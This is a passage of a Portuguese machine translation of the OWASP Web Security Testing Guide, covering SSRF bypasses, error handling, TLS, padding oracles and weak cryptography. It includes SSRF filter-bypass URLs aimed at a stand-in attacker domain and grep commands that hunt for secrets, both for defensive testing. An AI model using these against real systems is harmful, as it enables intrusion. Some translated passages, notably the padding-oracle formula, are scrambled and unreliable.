Às vezes, o aplicativo permite a entrada que corresponde a uma determinada expressão, como um domínio. Isso pode ser contornado se o analisador
de esquema de URL não for implementado corretamente, resultando em ataques semelhantes a ataques semânticos.
Usando o caractere @ para separar entre as informações do usuário e o host: https://expected-domain@attacker

domínio
Fragmentação de URL com o caractere # : https://attacker-domain#expected-domain
Codificação de URL
Fuzzing
Combinações de todos os itens acima
Para cargas úteis adicionais e técnicas de desvio, consulte a seção de referências.
Remediação
O SSRF é conhecido por ser um dos ataques mais difíceis de derrotar sem o uso de listas de permissões que exigem que IPs e URLs específicos sejam
permitidos. Para saber mais sobre a prevenção de SSRF, leia a folha de dicas sobre prevenção de falsificação de solicitação do lado do servidor.
333
Referências
swisskyrepo: cargas úteis SSRF
Lendo arquivos internos usando a vulnerabilidade do SSRF
Abusar do serviço de metadados da AWS usando vulnerabilidades SSRF
Folha de dicas de prevenção de falsificação de solicitação do lado do servidor OWASP
Portswigger: SSRF
Portswigger: SSRF cego
Webinário Bugcrowd: SSRF
Blog Hackerone: SSRF

Hacker101: SSRF
Sintaxe Genérica de URI

334
4.8 Teste para Tratamento de Erros
4.8.1 Teste para Tratamento Indevido de Erros
4.8.2 Testando para rastreamentos de pilha

335
Teste para tratamento inadequado de erros
EU IRIA
WSTG-ERRH-01
Resumo
Todos os tipos de aplicativos (aplicativos da web, servidores da web, bancos de dados, etc.) gerarão erros por vários motivos. Os desenvolvedores geralmente ignoram o
tratamento desses erros ou afastam a ideia de que um usuário tentará acionar um erro propositalmente (por exemplo , enviar uma string onde um número inteiro é
esperado). Quando o desenvolvedor considera apenas o caminho feliz, ele esquece todas as outras possíveis entradas do usuário que o código pode receber, mas não
pode manipular.
Às vezes, os erros aumentam como:
rastreamentos de pilha,
tempo limite de rede,
incompatibilidade de entrada,
e despejos de memória.
O tratamento inadequado de erros pode permitir que os invasores:
Entenda as APIs usadas internamente.
Mapeie os vários serviços integrando-se entre si obtendo informações sobre os sistemas internos e as estruturas utilizadas, o que abre portas para o encadeamento
de ataques.
Reúna as versões e os tipos de aplicativos que estão sendo usados.
DoS o sistema forçando o sistema a um impasse ou uma exceção não tratada que envia um sinal de pânico para o mecanismo que o executa.
Controla o bypass onde uma certa exceção não é restrita pela lógica definida em torno do caminho feliz.
Objetivos do teste
Identifique a saída de erro existente.
Analise a saída diferente retornada.
Como testar
Os erros geralmente são vistos como benignos, pois fornecem dados e mensagens de diagnóstico que podem ajudar o usuário a entender o problema em questão ou
para o desenvolvedor depurar esse erro.
Ao tentar enviar dados inesperados ou forçar o sistema a certos casos e cenários extremos, o sistema ou aplicativo na maioria das vezes dará um pouco de atenção ao
que está acontecendo internamente, a menos que os desenvolvedores desativem todos os erros possíveis e retornem uma determinada mensagem personalizada .
Servidores Web
Todos os aplicativos da web são executados em um servidor da web, seja integrado ou completo. Os aplicativos da Web devem manipular e analisar solicitações HTTP
e, para isso, um servidor da Web sempre faz parte da pilha. Alguns dos servidores web mais famosos são NGINX, Apache e IIS.
Os servidores da Web têm mensagens e formatos de erro conhecidos. Se alguém não estiver familiarizado com a aparência deles, pesquisá-los on-line fornecerá
exemplos. Outra maneira seria consultar a documentação ou simplesmente configurar um servidor localmente e descobrir os erros consultando as páginas que o servidor
da web usa.
336
Para disparar mensagens de erro, um testador deve:
Pesquise arquivos e pastas aleatórios que não serão encontrados (404s).
Tente solicitar as pastas existentes e veja o comportamento do servidor (403s, página em branco ou lista de diretórios).
Tente enviar uma solicitação que quebre o HTTP RFC. Um exemplo seria enviar um caminho muito grande, quebrar o formato dos cabeçalhos ou
alterar a versão do HTTP.
Mesmo que os erros sejam tratados no nível do aplicativo, quebrar o HTTP RFC pode fazer com que o servidor da Web integrado se mostre,
pois ele precisa lidar com a solicitação e os desenvolvedores se esquecem de substituir esses erros.
Aplicativos Os
aplicativos são os mais suscetíveis a emitir uma grande variedade de mensagens de erro, que incluem: rastreamentos de pilha, despejos de memória,
exceções mal tratadas e erros genéricos. Isso acontece devido ao fato de que as aplicações são construídas sob medida na maioria das vezes e os
desenvolvedores precisam observar e tratar todos os possíveis casos de erro (ou ter um mecanismo global de captura de erros), e esses erros podem
aparecer a partir de integrações com outros serviços.
Para fazer um aplicativo lançar esses erros, um testador deve:
1. Identifique possíveis pontos de entrada onde o aplicativo está esperando dados.
2. Analise o tipo de entrada esperado (strings, inteiros, JSON, XML, etc.).
3. Fuzz cada ponto de entrada com base nas etapas anteriores para ter um cenário de teste mais focado.
Fuzzing cada entrada com todas as injeções possíveis não é a melhor solução, a menos que você tenha tempo de teste ilimitado e o aplicativo
possa lidar com tanta entrada.
Se o fuzzing não for uma opção, escolha entradas viáveis que tenham a maior chance de quebrar um determinado analisador (por exemplo ,
um colchete de fechamento para um corpo JSON, um texto grande onde apenas alguns caracteres são esperados, injeção de CLRF com
parâmetros que podem ser analisados por servidores e controles de validação de entrada, caracteres especiais que não são aplicáveis a nomes
de arquivos, etc.).
Fuzzing com dados de jargão deve ser executado para cada tipo, pois às vezes os interpretadores vão quebrar fora do tratamento de exceção
do desenvolvedor.
4. Entenda o serviço respondendo com a mensagem de erro e tente fazer uma lista fuzz mais refinada para trazer à tona
mais informações ou detalhes do erro desse serviço (pode ser um banco de dados, um serviço autônomo, etc.).
As mensagens de erro às vezes são a principal fraqueza no mapeamento de sistemas, especialmente em uma arquitetura de microsserviço. Se os serviços
não estiverem configurados adequadamente para lidar com erros de maneira genérica e uniforme, as mensagens de erro permitirão que um testador
identifique qual serviço lida com quais solicitações e permite um ataque mais focado por serviço.
O testador precisa ficar atento ao tipo de resposta. Às vezes, os erros são retornados como sucesso com um corpo de erro, ocultam o erro em um
302 ou simplesmente por ter uma maneira personalizada de representar esse erro.
Remediação
Para correção, confira o Proactive Controls C10 e a folha de dicas de tratamento de erros.
Playgrounds
Loja de sucos - Tratamento de erros
Referências
WSTG: Apêndice C - Vetores Fuzz
Controles proativos C10: Tratar todos os erros e exceções ASVS v4.1
v7.4: Tratamento de erros CWE 728 - Tratamento inadequado de erros
Série de dicas: tratamento de erros

337
Teste para rastreamentos de pilha
EU IRIA
WSTG-ERRH-02
Este conteúdo foi mesclado em: Testando o Tratamento Indevido de Erros.

338
4.9 Teste para criptografia fraca
4.9.1 Teste de segurança fraca da camada de transporte
4.9.2 Teste para Padding Oracle
4.9.3 Teste de informações confidenciais enviadas por canais não criptografados
4.9.4 Teste de Criptografia Fraca

339
Teste para segurança fraca da camada de transporte
EU IRIA
WSTG-CRYP-01
Resumo
Quando as informações são enviadas entre o cliente e o servidor, elas devem ser criptografadas e protegidas para evitar que um invasor possa lê-
las ou modificá-las. Isso geralmente é feito usando HTTPS, que usa o protocolo Transport Layer Security (TLS) , um substituto para o antigo
protocolo Secure Socket Layer (SSL). O TLS também fornece uma maneira de o servidor demonstrar ao cliente que ele se conectou ao servidor
correto, apresentando um certificado digital confiável.
Ao longo dos anos tem havido um grande número de fragilidades criptográficas identificadas nos protocolos SSL e TLS, bem como nas cifras que
utilizam. Além disso, muitas das implementações desses protocolos também apresentaram sérias vulnerabilidades. Como tal, é importante testar
se os sites não estão apenas implementando o TLS, mas também de maneira segura.
Objetivos do teste
Valide a configuração do serviço.
Revise a força criptográfica e a validade do certificado digital.
Assegure-se de que a segurança TLS não seja ignorada e seja implementada corretamente em todo o aplicativo.
Como testar
Os problemas relacionados à segurança da camada de transporte podem ser amplamente divididos nas seguintes áreas:
Configuração do servidor Há
um grande número de versões de protocolo, cifras e extensões suportadas pelo TLS. Muitos deles são considerados legados e possuem
fragilidades criptográficas, como as listadas abaixo. Observe que é provável que novos pontos fracos sejam identificados ao longo do tempo,
portanto, esta lista pode estar incompleta.
SSLv2 (Afogar)
SSLv3 (POODLE)
TLSv1.0 (BESTEIRA)
EXPORTAR suítes de cifras (FREAK)
cifras NULL (eles fornecem apenas autenticação).
Cifras anônimas (estas podem ser suportadas em servidores SMTP, conforme discutido na RFC 7672)
Cifras RC4 (NOMORE)
Cifras do modo CBC (BEAST, Lucky 13)

Compressão TLS (CRIME)
Teclas DHE fracas (LOGJAM)
O guia TLS do lado do servidor Mozilla detalha os protocolos e cifras atualmente recomendados.
Explorabilidade
Deve-se enfatizar que, embora muitos desses ataques tenham sido demonstrados em um ambiente de laboratório, eles geralmente não são
considerados práticos para explorar no mundo real, pois exigem um ataque MitM (geralmente ativo) e recursos significativos. Como tal, é improvável
que sejam explorados por alguém que não seja um Estado-nação.
Machine
340
Certificados Digitais
Fraquezas Criptográficas
Do ponto de vista criptográfico, existem duas áreas principais que precisam ser revisadas em um certificado digital:
A intensidade da chave deve ser de pelo menos 2048 bits.
O algoritmo de assinatura deve ser pelo menos SHA-256. Algoritmos legados como MD5 e SHA-1 não devem ser usados.
Validade
Além de ser criptograficamente seguro, o certificado também deve ser considerado válido (ou confiável). Isso significa que ele deve:
Estar dentro do prazo de validade definido.
Quaisquer certificados emitidos após 1 de setembro de 2020 não devem ter uma vida útil máxima superior a 398 dias.
Ser assinado por uma autoridade de certificação (CA) confiável.
Deve ser uma CA pública confiável para aplicativos externos ou uma CA interna para aplicativos internos.
Não sinalize aplicativos internos como tendo certificados não confiáveis apenas porque seu sistema não confia na CA.
Tenha um nome alternativo de entidade (SAN) que corresponda ao nome do host do sistema.
O campo Common Name (CN) é ignorado pelos navegadores modernos, que apenas examinam o SAN.
Certifique-se de que você está acessando o sistema com o nome correto (por exemplo, se você acessar o host por IP, qualquer certificado aparecerá
como não confiável).
Alguns certificados podem ser emitidos para domínios curinga (como *.example.org ), o que significa que podem ser válidos para vários subdomínios. Embora
conveniente, há uma série de preocupações de segurança em torno disso que devem ser consideradas. Eles são discutidos na folha de dicas de segurança da
camada de transporte OWASP.
Os certificados também podem vazar informações sobre sistemas internos ou nomes de domínio nos campos Emissor e SAN, o que pode ser útil ao tentar criar
uma imagem da rede interna ou realizar atividades de engenharia social.
Vulnerabilidades de implementação
Ao longo dos anos, houve vulnerabilidades nas várias implementações de TLS. Há muitos para listar aqui, mas alguns dos
principais exemplos são:
Debian OpenSSL Gerador de Números Aleatórios Previsíveis (CVE-2008-0166)

Renegociação insegura do OpenSSL (CVE-2009-3555)
Sangramento do OpenSSL (CVE-2014-0160)
POODLE F5 TLS (CVE-2014-8730)
Negação de Serviço Microsoft Schannel (MS14-066 / CVE CVE-2014-6321)
Vulnerabilidades de aplicativos
Assim como a configuração TLS subjacente sendo configurada com segurança, o aplicativo também precisa usá-la de maneira segura. Alguns desses pontos
são abordados em outras partes deste guia:
Não enviar dados confidenciais por canais não criptografados (WSTG-CRYP-03)
Configurando o cabeçalho HTTP Strict-Transport-Security (WSTG-CONF-07)
Configurando o sinalizador Secure em cookies (WSTG-SESS-02)
Conteúdo Ativo Misto
Conteúdo ativo misto ocorre quando recursos ativos (como scripts para CSS) são carregados em HTTP não criptografado e incluídos em uma página segura
(HTTPS). Isso é perigoso porque permitiria que um invasor modificasse esses arquivos (como eles são enviados sem criptografia), o que poderia permitir que
eles executassem código arbitrário (JavaScript ou CSS) na página. Passiva
341
o conteúdo (como imagens) carregado em uma conexão insegura também pode vazar informações ou permitir que um invasor desfigure a página,
embora seja menos provável que leve a um comprometimento total.
Observação: os navegadores modernos bloquearão o carregamento de conteúdo ativo de fontes inseguras para páginas seguras.
Redirecionamento de HTTP para HTTPS
Muitos sites aceitam conexões por HTTP não criptografado e redirecionam imediatamente o usuário para a versão segura (HTTPS) do site com um
redirecionamento 301 Movido permanentemente . A versão HTTPS do site define o cabeçalho Strict-Transport-Security para instruir o navegador a
sempre usar HTTPS no futuro.
No entanto, se um invasor conseguir interceptar essa solicitação inicial, poderá redirecionar o usuário para um site malicioso ou usar uma ferramenta
como sslstrip para interceptar solicitações subsequentes.
Para se defender desse tipo de ataque, o site deve ser adicionado à lista de pré-carregamento.
Teste automatizado
Há um grande número de ferramentas de verificação que podem ser usadas para identificar pontos fracos na configuração SSL/TLS de um serviço,
incluindo ferramentas dedicadas e verificadores de vulnerabilidade de uso geral. Alguns dos mais populares
está:
Nmap (vários roteiros)

OWASP O-Saft
sslscan
sslyze
Laboratórios SSL
testessl.sh
Teste Manual
Também é possível realizar a maioria das verificações manualmente, usando aparências de linha de comando, como openssl s_client ou gnutls-cli,
para conectar-se a protocolos, cifras ou opções específicas.
Ao fazer testes como este, esteja ciente de que a versão do OpenSSL ou GnuTLS fornecida com a maioria dos sistemas modernos pode não oferecer
suporte a alguns protocolos desatualizados e inseguros, como SSLv2 ou cifras EXPORT. Certifique-se de que sua versão suporta as versões
desatualizadas antes de usá-la para teste, ou você acabará com falsos negativos.
Também pode ser possível realizar testes limitados usando um navegador da Web, pois os navegadores modernos fornecerão detalhes dos
protocolos e cifras que estão sendo usados em suas ferramentas de desenvolvedor. Eles também fornecem uma maneira fácil de testar se um
certificado é considerado confiável, navegando até o serviço e verificando se você recebe um aviso de certificado.
Referências
Folha de dicas de proteção da camada de transporte OWASP
Guia TLS do lado do servidor Mozilla

342
Testando para Padding Oracle
EU IRIA
WSTG-CRYP-02
Resumo
Um oráculo de preenchimento é uma função de um aplicativo que descriptografa dados criptografados fornecidos pelo cliente, por exemplo, estado da sessão interna
armazenado no cliente e vaza o estado de validade do preenchimento após a descriptografia. A existência de um oráculo de preenchimento permite que um invasor
descriptografe dados criptografados e criptografe dados arbitrários sem conhecimento da chave usada para essas operações criptográficas. Isso pode levar ao vazamento
de dados sensíveis ou a vulnerabilidades de escalonamento de privilégios, se a integridade dos dados criptografados for assumida pelo aplicativo.
As cifras de bloco criptografam dados apenas em blocos de determinados tamanhos. Os tamanhos de bloco usados por cifras comuns são 8 e 16 bytes.
Os dados em que o tamanho não corresponde a um múltiplo do tamanho do bloco da cifra usada devem ser preenchidos de maneira específica para que o descriptografador
possa remover o preenchimento. Um esquema de preenchimento comumente usado é o PKCS#7. Ele preenche os bytes restantes com o valor do comprimento de
preenchimento.
Exemplo 1 Se o
preenchimento tiver o comprimento de 5 bytes, o valor do byte 0x05 será repetido cinco vezes após o texto simples.
Uma condição de erro estará presente se o preenchimento não corresponder à sintaxe do esquema de preenchimento usado. Um oráculo de preenchimento estará presente
se um aplicativo vazar essa condição de erro de preenchimento específica para dados criptografados fornecidos pelo cliente. Isso pode acontecer expondo exceções (por
exemplo , BadPaddingException em Java) diretamente, por diferenças sutis nas respostas enviadas ao cliente ou por outro canal lateral, como comportamento de
temporização.
Certos modos de operação de criptografia permitem ataques de inversão de bits, onde a inversão de um bit no texto cifrado faz com que o bit também seja invertido no texto
simples. Inverter um bit no n-ésimo bloco de dados criptografados CBC faz com que o mesmo bit no (n+1)-ésimo bloco seja invertido nos dados descriptografados. O enésimo
bloco do texto cifrado descriptografado é descartado por essa manipulação.
O ataque do oráculo de preenchimento permite que um invasor descriptografe dados criptografados sem conhecimento da chave de criptografia e da cifra usada, enviando
textos cifrados manipulados habilidosos para o oráculo de preenchimento e observando os resultados retornados por ele. Isso causa perda de confidencialidade dos dados
criptografados. Por exemplo, no caso de dados de sessão armazenados no lado do cliente, o invasor pode obter informações sobre o estado interno e a estrutura do aplicativo.
Um ataque de oráculo de preenchimento também permite que um invasor criptografe textos simples arbitrários sem conhecimento da chave e cifra usadas. Se o aplicativo
assumir que a integridade e a autenticidade dos dados descriptografados são fornecidas, um invasor poderá manipular o estado da sessão interna e possivelmente obter
privilégios mais altos.
Objetivos do teste
Identifique mensagens criptografadas que dependem de preenchimento.
Tente quebrar o preenchimento das mensagens criptografadas e analise as mensagens de erro retornadas para análise posterior.
Como testar
Teste de caixa-preta Primeiro,
os possíveis pontos de entrada para oráculos de preenchimento devem ser identificados. Geralmente as seguintes condições devem ser atendidas:
1. Os dados são criptografados. Bons candidatos são valores que parecem aleatórios.
343
2. Uma cifra de bloco é usada. O comprimento do texto cifrado decodificado (Base64 é usado frequentemente) é um múltiplo de tamanhos de bloco de cifra comuns
como 8 ou 16 bytes. Diferentes textos cifrados (por exemplo, reunidos por diferentes sessões ou manipulação do estado da sessão) compartilham um divisor
comum no comprimento.
Exemplo 2
Dg6W8OiWMIdVokIDH15T/A== resultados após decodificação Base64 em 0e 0e 96 f0 e8 96 30 87 55 a2 42 03 1f 5e 53 fc .
Isso parece ser aleatório e ter 16 bytes de comprimento.
Se tal candidato a valor de entrada for identificado, o comportamento do aplicativo para adulteração bit a bit do valor criptografado deve ser verificado. Normalmente,
esse valor codificado em Base64 incluirá o vetor de inicialização (IV) anexado ao texto cifrado. Dado um texto simples p e uma cifra com um tamanho de bloco nn) . O
, o número
comprimento da string criptografada será y=(b+1)*n devido ao vetor de inicialização. Para verificar de blocos
a presença do será b = ceil(
oráculo, comprimento(b)
decodifique /
a string, inverta o último bit do
penúltimo bloco b-1 (o bit menos significativo do byte em yn-1 ), codifique novamente e envie. Em seguida, decodifique a string original, inverta o último bit do bloco b-2
(o bit menos significativo do byte em y-2*n-1 ), codifique novamente e envie.
Se for sabido que a string criptografada é um único bloco (o IV é armazenado no servidor ou o aplicativo está usando uma má prática de IV codificado permanentemente),
várias inversões de bits devem ser executadas sucessivamente. Uma abordagem alternativa poderia ser preceder um bloco aleatório e inverter os bits para fazer com
que o último byte do bloco adicionado assuma todos os valores possíveis (0 a 255).
Os testes e o valor base devem causar pelo menos três estados diferentes durante e após a descriptografia:
O texto cifrado é descriptografado, os dados resultantes estão corretos.
O texto cifrado é descriptografado, os dados resultantes são distorcidos e causam alguma exceção ou tratamento de erro na lógica do aplicativo.
A descriptografia do texto cifrado falha devido a erros de preenchimento.
Compare as respostas cuidadosamente. Pesquise especialmente por exceções e mensagens que afirmam que algo está errado com o preenchimento. Se essas
mensagens aparecerem, o aplicativo contém um oráculo de preenchimento. Se os três estados diferentes descritos acima forem observáveis implicitamente (mensagens
de erro diferentes, canais laterais de temporização), há uma alta probabilidade de que haja um oráculo de preenchimento presente neste ponto. Tente executar o ataque
do oráculo de preenchimento para garantir isso.
Exemplo 3
ASP.NET lança System.Security.Cryptography.CryptographicException: O preenchimento é inválido e não pode ser removido. se o preenchimento de um texto
cifrado descriptografado estiver quebrado.
Em Java, um javax.crypto.BadPaddingException é lançado neste caso.
Erros de descriptografia ou similares podem ser possíveis oráculos de preenchimento.
Uma implementação segura verificará a integridade e causará apenas duas respostas: ok e failed . Não há canais laterais que possam ser usados para determinar
estados de erro interno.
Teste de caixa cinza

Verifique se todos os locais onde os dados criptografados do cliente, que devem ser conhecidos apenas pelo servidor, são descriptografados. As seguintes condições
devem ser atendidas por tal código:
1. A integridade do texto cifrado deve ser verificada por um mecanismo seguro, como HMAC ou modos de operação cifrados autenticados, como GCM ou CCM.
2. Todos os estados de erro durante a descriptografia e o processamento posterior são tratados de maneira uniforme.
Exemplo 4
Visualização do processo de descriptografia
Ferramentas
Bletchley
344
PadBuster
Ferramenta de exploração Oracle de preenchimento (POET)
Poráculo
python-paddingoracle
Referências
Wikepedia - Padding Oracle Attack

Juliano Rizzo, Thai Duong, “Practical Padding Oracle Attacks”
Machine
345
Teste de informações confidenciais enviadas via não criptografadas

Canais
EU IRIA
WSTG-CRYP-03
Resumo
Os dados confidenciais devem ser protegidos quando são transmitidos pela rede. Se os dados forem transmitidos por HTTPS ou criptografados de outra
forma, o mecanismo de proteção não deve ter limitações ou vulnerabilidades, conforme explicado no artigo mais amplo Testing for Weak Transport Layer
Security e em outras documentações do OWASP:
OWASP Top 10 2017 A3-Exposição de dados sensíveis.

OWASP ASVS - Verificação V9.
Folha de dicas de proteção da camada de transporte.
Como regra geral, se os dados devem ser protegidos quando são armazenados, esses dados também devem ser protegidos durante a transmissão.
Alguns exemplos de dados confidenciais são:
Informações usadas na autenticação (por exemplo, credenciais, PINs, identificadores de sessão, tokens, cookies…)
Informações protegidas por leis, regulamentos ou política organizacional específica (por exemplo, cartões de crédito, dados de clientes)
Se o aplicativo transmitir informações confidenciais por meio de canais não criptografados - por exemplo, HTTP - isso será considerado um risco à segurança.
Alguns exemplos são autenticação básica, que envia credenciais de autenticação em texto sem formatação por HTTP, credenciais de autenticação baseadas
em formulário enviadas via HTTP ou transmissão de texto sem formatação de qualquer outra informação considerada sensível devido a regulamentos, leis,
política organizacional ou lógica de negócios do aplicativo.
Exemplos de informações de identificação pessoal (PII) são:
números de segurança social
Números de contas bancárias
Informações do passaporte
Informações relacionadas à saúde
Informações sobre seguro médico
Informações do aluno
Números de cartão de crédito e débito
Carteira de motorista e informações de identificação do estado
Objetivos do teste
Identificar informações sensíveis transmitidas pelos diversos canais.
Avalie a privacidade e a segurança dos canais utilizados.
Como testar
Vários tipos de informações que devem ser protegidas podem ser transmitidas pelo aplicativo em texto não criptografado. É possível verificar se essas
informações são transmitidas por HTTP em vez de HTTPS ou se são usadas cifras fracas. Veja mais informações sobre a transmissão insegura de credenciais
OWASP Top 10 2017 A3-Sensitive Data Exposure ou Transport Layer Protection Cheat Sheet.
346
Exemplo 1: Autenticação básica sobre HTTP Um exemplo

típico é o uso da Autenticação básica sobre HTTP. Ao usar a autenticação básica, as credenciais do usuário são codificadas em
vez de criptografadas e enviadas como cabeçalhos HTTP. No exemplo abaixo, o testador usa curl para testar este problema.
Observe como o aplicativo usa autenticação básica e HTTP em vez de HTTPS
$ curl -kis http://example.com/restricted/ HTTP/1.1 401

Autorização necessária Data: Sex, 01 de agosto de 2013
00:00:00 GMT WWW-Authenticate: Basic realm="Restricted
Area"
Accept-Ranges: bytes Vary: Accept-
Encoding Content-Length: 162 Content-Type: text/
html
<html><head><title>401 Autorização necessária</title></head> <body bgcolor=white>

<h1>401 Autorização necessária</h1> Credenciais de login inválidas! </body></html>
Exemplo 2: autenticação baseada em formulário executada por HTTP

Outro exemplo típico são os formulários de autenticação que transmitem as credenciais de autenticação do usuário por HTTP.
No exemplo abaixo pode-se ver o HTTP sendo usado no atributo action do formulário. Também é possível ver esse problema
examinando o tráfego HTTP com um proxy de interceptação.
<form action="http://example.com/login">
<label for="username">Usuário:</label> <input type="text" id="username"-name="username"-value=""/> <br />
<label for="password">Senha:</label> <input type="password" id="password"-name="password"-

valor=""/>
<input type="submit" value="Login"/> </form>
Exemplo 3: Cookie contendo ID de sessão enviado por HTTP O Cookie de

ID de sessão deve ser transmitido por canais protegidos. Se o cookie não tiver o sinalizador seguro definido, é permitido que o
aplicativo o transmita sem criptografia. Observe abaixo que a configuração do cookie é feita sem o sinalizador Secure e todo o
processo de login é realizado em HTTP e não em HTTPS.
https://secure.example.com/login
POST /login HTTP/1.1 Host:

secure.example.com [...]
Referer: https://secure.example.com/ Content-Type:

application/x-www-form-urlencoded Content-Length: 188
HTTP/1.1 302 Encontrado

Data: terça-feira, 03 de dezembro de 2013
21:18:55 GMT Servidor: Apache Set-Cookie:
JSESSIONID=BD99F321233AF69593EDF52B123B5BDA; expira = sexta-feira, 01 de janeiro de 2014 00:00:00 GMT; caminho=/;
domínio=exemplo.com; httponly Location: private/ Content-Length: 0 Content-Type: text/html
http://example.com/private
GET /private HTTP/1.1 Host:

example.com [...]
347
Referer: https://secure.example.com/login Cookie:

JSESSIONID=BD99F321233AF69593EDF52B123B5BDA;
HTTP/1.1 200 OK
Tipo de conteúdo: text/html;charset=UTF-8
Data: terça-feira, 25 de dezembro de 2013 00:00:00 GMT
Exemplo 4: teste de informações confidenciais de senha no código-fonte ou logs

Use uma das técnicas a seguir para pesquisar informações confidenciais.
Verificando se a senha ou a chave de criptografia está codificada no código-fonte ou nos arquivos de configuração.
grep -r –E "Pass | senha | pwd |usuário | convidado| administrador | criptografia | chave | descriptografar | sharekey "
./PathToSearch/
Verificar se os logs ou o código-fonte podem conter número de telefone, endereço de e-mail, ID ou qualquer outra PII. Altere a expressão regular
com base no formato da PII.
grep -r " {2\}[0-9]\{6\} " ./PathToSearch/
Ferramentas
ondulação
grep
localizador de identidade
Wireshark
TCPDUMP
348
Teste de criptografia fraca
EU IRIA
WSTG-CRYP-04
Resumo
Usos incorretos de algoritmos de criptografia podem resultar em exposição de dados confidenciais, vazamento de chaves, autenticação quebrada, sessão
insegura e ataques de falsificação. Existem alguns algoritmos de criptografia ou hash conhecidos por serem fracos e não são sugeridos para uso, como MD5
e RC4.
Além das escolhas corretas de criptografia segura ou algoritmos de hash, os usos corretos dos parâmetros também são importantes para o nível de segurança.
Por exemplo, o modo ECB (Electronic Code Book) não é recomendado para uso em criptografia assimétrica.
Objetivos do teste
Forneça uma diretriz para a identificação de criptografia fraca ou usos e implementações de hashing.
Como testar
Lista de verificação de segurança básica
Ao usar AES128 ou AES256, o IV (Vetor de Inicialização) deve ser aleatório e imprevisível. Consulte FIPS 140-2, Requisitos de segurança para módulos
criptográficos, seção 4.9.1. testes de gerador de números aleatórios. Por exemplo, em Java, java.util.Random é considerado um gerador de números
aleatórios fraco. java.security.SecureRandom deve ser usado em vez de java.util.Random .
Para criptografia assimétrica, use criptografia de curva elíptica (ECC) com uma curva segura como Curve25519 preferencial.
Se o ECC não puder ser usado, use a criptografia RSA com uma chave mínima de 2.048 bits.
Ao usar RSA na assinatura, o preenchimento PSS é recomendado.
Algoritmos fracos de hash/criptografia não devem ser usados, como MD5, RC4, DES, Blowfish, SHA1. RSA ou DSA de 1024 bits, ECDSA de 160 bits
(curvas elípticas), 2TDEA de 80/112 bits (DES triplo de duas teclas)
Requisitos mínimos de comprimento da chave:
Troca de chaves: troca de chaves Diffie-Hellman com mínimo de 2048 bits

Integridade da mensagem: HMAC-SHA2
Hash da mensagem: SHA2 256 bits
Criptografia assimétrica: RSA 2048 bits
Algoritmo de chave simétrica: AES 128 bits
Hashing de senha: PBKDF2, Scrypt, Bcrypt
ECDH, ECDSA: 256 bits
Usos de SSH, modo CBC não devem ser usados.
Quando o algoritmo de criptografia simétrica é usado, o modo ECB (Electronic Code Book) não deve ser usado.
Quando PBKDF2 é usado para hash de senha, o parâmetro de iteração é recomendado acima de 10000. NIST também sugere pelo menos 10.000
iterações da função hash. Além disso, a função de hash MD5 é proibida de ser usada com PBKDF2, como PBKDF2WithHmacMD5.
Pesquise as seguintes palavras-chave para identificar o uso de algoritmos fracos: MD4, MD5, RC4, RC2, DES, Blowfish, SHA
1, BCE
349
Para implementações Java, a API a seguir está relacionada à criptografia. Revise os parâmetros da implementação de criptografia. Por exemplo,
SecretKeyFactory(SecretKeyFactorySpi keyFacSpi, provedor Provider, algoritmo String)

SecretKeySpec(byte[] key, int offset, int len, algoritmo String)
Cipher c = Cipher.getInstance("DES/CBC/PKCS5Padding");
Para criptografia RSA, são sugeridos os seguintes modos de preenchimento.
RSA/ECB/OAEPWithSHA-1AndMGF1Padding (2048)
RSA/ECB/OAEPWithSHA-256AndMGF1Padding (2048)
Pesquise por ECB , não é permitido ser usado em padding.

Revise se IV diferente (Vetor inicial) for usado.
// Use um valor IV diferente para cada byte de criptografia[]

newIv = ...; s = new GCMParameterSpec(s.getTLen(), newIv);
cipher.init(..., s);
...
Pesquise por IvParameterSpec , verifique se o valor IV é gerado de forma diferente e aleatória.
IvParameterSpec iv = new IvParameterSpec(randBytes); SecretKeySpec

skey = new SecretKeySpec(key.getBytes(), "AES"); Cipher cipher =
Cipher.getInstance("AES/CBC/PKCS5Padding"); cipher.init(Cipher.ENCRYPT_MODE,
skey, iv);
Em Java, procure por MessageDigest para verificar se o algoritmo de hash fraco (MD5 ou CRC) é usado. Por exemplo:
MessageDigest md5 = MessageDigest.getInstance("MD5");
Para assinatura, SHA1 e MD5 não devem ser usados. Por exemplo:
Signature sig = Signature.getInstance("SHA1withRSA");
Pesquise por PBKDF2 . Para gerar o valor de hash da senha, sugere-se o uso de PBKDF2 . Revise os parâmetros para gerar o valor PBKDF2
has.
As iterações devem ser superiores a 10.000 e o valor salt deve ser gerado como um valor aleatório.
private static byte[] pbkdf2(char[] password, byte[] salt, int iterations, int bytes)
lança NoSuchAlgorithmException, InvalidKeySpecException
{
especificação PBEKeySpec = new PBEKeySpec(senha, salt, iterações, bytes * 8); SecretKeyFactory
skf = SecretKeyFactory.getInstance(PBKDF2_ALGORITHM); return
skf.generateSecret(spec).getEncoded();
}
Informações confidenciais codificadas:

350
Palavras-chave relacionadas ao usuário: nome, root, su, sudo, admin, superusuário, login, nome de usuário, uid
Palavras-chave relacionadas à chave: chave pública, AK, SK, chave secreta, chave privada, passwd, senha, pwd, chave compartilhada,
chave compartilhada, cripto, base64
Outras palavras-chave sensíveis comuns: sysadmin, root, privilegio, pass, key, code, master, admin, uname, s ession, token, Oauth, privatekey,
shared secret
Ferramentas
Os scanners de vulnerabilidade, como Nessus, NMAP (scripts) ou OpenVAS, podem verificar o uso ou a aceitação de criptografia fraca contra protocolos
como SNMP, TLS, SSH, SMTP, etc.
Use a ferramenta de análise de código estático para fazer a revisão do código-fonte, como klocwork, Fortify, Coverity, CheckMark para os seguintes
casos.
CWE-261: criptografia fraca para senhas

CWE-323: Reutilizando um Nonce, Par de Chaves na Criptografia
CWE-326: força de criptografia inadequada
CWE-327: Uso de um Algoritmo Criptográfico Quebrado ou Arriscado
CWE-328: hash unidirecional reversível
CWE-329: Não usando um IV aleatório com modo CBC
CWE-330: Uso de valores insuficientemente aleatórios
CWE-347: Verificação imprópria de assinatura criptográfica
CWE-354: Validação imprópria do valor de verificação de integridade
CWE-547: Uso de constantes codificadas e relevantes para a segurança
CWE-780 Uso do Algoritmo RSA sem OAEP
Referências
Padrões NIST FIPS
Wikipédia: vetor de inicialização
Codificação Segura - Gerando Números Aleatórios Fortes
Preenchimento de criptografia assimétrica ideal
Folha de dicas de armazenamento criptográfico
Folha de dicas de armazenamento de senha
Codificação segura - não use algoritmos criptográficos inseguros ou fracos

Aleatoriedade insegura
Entropia insuficiente
Comprimento de ID de sessão insuficiente
Usando um algoritmo criptográfico quebrado ou arriscado
API Javax.crypto.cipher
ISO 18033-1:2015 – Algoritmos de Criptografia
